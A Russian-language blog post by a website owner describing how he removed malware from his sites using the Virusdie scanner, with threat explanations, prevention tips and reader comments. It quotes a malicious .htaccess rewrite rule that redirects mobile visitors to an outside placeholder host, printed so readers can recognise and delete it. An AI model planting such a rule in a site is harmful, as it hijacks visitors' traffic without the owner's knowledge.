Cуперинструкция: Как избавиться от 280 вирусов на своих сайтах

После поста о взломе моих сайтов и успешном их лечении мне написали пару вопросов о том, каким образом чистятся файлы, не удалились ли после лечения все файлы с сервера и не становится ли вообще хуже после использования сервиса Virusdie.

Удивительно, сегодня можно нагуглить сотни тысяч советов о том, как очистить от паразитов свой дырявый Windows, но не так много информации о том, как чистить именно блоги, лендинги и т.д. Решил поподробнее рассказать, какие типичные вирусы обычно хватают сайты, как их лечить и что для этого нужно.

Как вообще понять, что сайт заражен?

Обычно не всегда получается заметить вредоносный код на сайте. Более того, в некоторых случаях это вообще не проявляется даже внешне, тогда как сервер в это время может использоваться для рассылки спама, для редиректов на левые страницы или для размещения дорвеев.

Зачем ломать мой сайт, у меня же нет миллионной посещаемости?

По статистике, одни из самых популярных систем управления — WordPress и Joomla, их версии обновляются почти каждый месяц, вносится исправления в код, улучшается безопасность. Старые же версии так и остаются с дырами, а багрепорты становятся известны любому интересующемуся. Поэтому ничто не мешает какому-нибудь молодому умному Мистеру Роботу прочекать сайты на сервере, найти не обновленные и использовать уязвимость в своих целях.

Как ты избавился от 280 вирусов? Ты использовал Virusdie для лечения сайтов?

Предупреждаю: я не сотрудничаю с «Вирусдай» и ребята не платили мне за рекламу, поэтому у меня нет цели рассуждать об их тарифных планах. И еще подчеркну, что я не специалист по безопасности, а обычный владелец сайтов, поэтому далее распишу, с какими угрозами столкнулся сам, что они означают и как я их ликвидировал. Если у вас больший опыт в защите и очистке сайтов, напишите свои советы в комментах, будет полезно.

В принципе, я пока знаю только два эффективных способа избавиться от вредоносного кода: пытаться копаться в нем самостоятельно, перелопачивать файлы, мониторить время изменения и размеры, либо пользоваться внешними сервисами для анализа. Один из таких редких сервисов — Virusdie.

Их решение сейчас встроено в некоторые виртуальные хостинги (в предыдущем посте упоминали рег.ру), в случае, если у вас собственный сервер, то удобно использовать модуль для ISPmanager.

После установки модуля переходим в раздел Virusdie в левой колонке. Иногда может потребоваться перезагрузка панели ISP или всего сервера, чтобы менюшка появилась.

Первым делом выбираем кнопку «Настройка» вверху, чтобы изменить глобальные настройки лечения файлов. Я проставил галки таким образом.

Последний пункт «Разрешить удалять файлы целиком» я побоялся включать, лучше уж я сам удалю файл, чем позволю системе автоматически его уничтожать.

Сохраняем настройки, выбираем пользователя и жмем кнопку «Проверить». Через несколько минут (до получаса) мы получим отчет по всем сайтам, соответствующим данному пользователю.

Кликаем на самый свежий отчет (автоматически на вирусы сервер будет проверяться каждую ночь) и смотрим, какие файлы подверглись заражению и имя вируса.

ЧИТАЙТЕ ТАКЖЕ  5 лучших сервисов для Email-рассылки

Теперь самое интересное — что это за черви такие, которых я подхватил?

Если кликнуть на угрозу, можно посмотреть на кусок зараженного кода. В случае с первой строчкой (.htaccess файл с угрозой Doubt.h.BotCheck) получаем такое сообщение:

Это вирус, записанный в htaccess, он берет посетителя с определенного источника или устройства (чаще всего мобильных пользователей) и редиректит на свою страницу. Для лечения его надо найти примерно такого вида код

RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]
RewriteRule ^(.*)$ http://someserver/?update&source=%{HTTP_HOST} [L,R=302]

И удалить его. К сожалению, Virusdie не всегда автоматически удаляет код из файлов, часто нужно самому залезть в них и вычистить вредоносные строки. Но самое главное уже сделано — дан полный адрес, куда копать и строки, на которые обратить внимание.

Описание угроз, которые я встретил

(прим. — в расшифровке угроз могу ошибаться, не профессионал, если что, ткните меня)

* Doubt.h.BotCheck — описанный выше вирус. Если вы сами не делали клоаку на своем сайте, то значит кто-то редиректит ваш трафик к себе.

* Obfuscated.Globals.5.3 — обфусцированный (закодированный) код. Чаще всего названия файлов странные, проверьте старые бэкапы, скорее всего, этих файлов раньше вообще здесь не было, их нужно удалить полностью.

* Eval.gz.b64.short — закодированный base64. Если вы или другой создатель скрипта не шифровали свой код изначально, значит это сделал кто-то другой, и на сайте висит вирус.

* Doubt.PHP.Spaces — а вот это интересная штука — подозрительное количество пробелов. Я уже удалил код, поэтому придется объяснять на сделанном на коленке примере. Например, у нас есть файл index.php, в котором лежит вот такой простой код

И вроде бы все выглядит нормально, и даже я не понимал, почему ругается Virusdie, но стоит крутануть файл вправо, и за пробелами мы видим спрятанный код.

Я не знаю, как это называется у хакеров и специалистов по безопасности, но это гениально.

И самое важное: просто удалить вирус недостаточно, нужно понять, где лежит дырка, через которую все это просочилось. Теперь придется включить смекалочку, посмотреть свои скрипты, перепроверить права на файлы и воспользоваться советами ниже.

Как не попасть под удар и не словить вирусов?

Несколько советов, так сказать, для профилактики:

  1. Обновляйте версию WordPress до последней и устанавливайте расширения для защиты движка. Если интересно, о лучших плагинах расскажу в отдельной заметке, а то получится слишком объемно.
  2. По возможности, не держите десятки и сотни скриптов на одном сервере. Больше кода — больше риска его взлома. Забросили сайт, не следите за ним, не обновляете — лучше скопируйте его на локальный компьютер и избавьтесь от его файлов на сервере, это поможет лежащим в соседних папках актуальным сайтам не схватить заразу.
  3. На всякий случай, удалите Sypex Dumper. Говорят, что этот прекрасный скрипт, который не раз помогал мне перенести огромные базы данных без единой ошибки, является причиной взломов MySQL-баз. Не знаю, правда это или нет, но у себя на сервере я нашел 3 копии скрипта разных версий. Теперь стараюсь использовать его только при необходимости и сразу удалять.
  4. Вообще, немножко паранойи никогда не повредит. Если сомневаетесь, проконсультируйтесь со своих сисадмином, хостером или хотя бы гуглом.
Если пост оказался полезен, расшарь!
  • Руки поотрывать хацкерам(((

    • Bambarbia

      Да и тебе пальцы заодно ))

      • не надо

        • Bambarbia

          Надо, Сеня-миша, надо!

  • Сервис с недешевых, но если припечет так и больше заплатишь 🙂

    А параноиком в безопасности нужно обязательно быть, среда в которой мы работает не всегда дружественная 🙂

    У меня сайт на народе уводили, еще в 2008 использовал как лендинг для диет, 2 дня лили трафик в плюс каком то уроду 🙂 сайту на wp в свое время взламывали админку и засоряли ссылками и еще разные мелкие шалости делали, как здесь не стать параноиком по безопасности 🙂

    Еще у меня появилось такое правило что если сайт будет меньше 50 стр. я делаю его на голом html без движков. Сейчас есть много скриптом которые помогают все это дело автоматизировать.
    Вот как-то так 🙂

    • Bambarbia

      Сразу бы указал скрипты, которые помогают автоматизировать процесс создания html страниц, чем хвастаться «тайными» знаниями.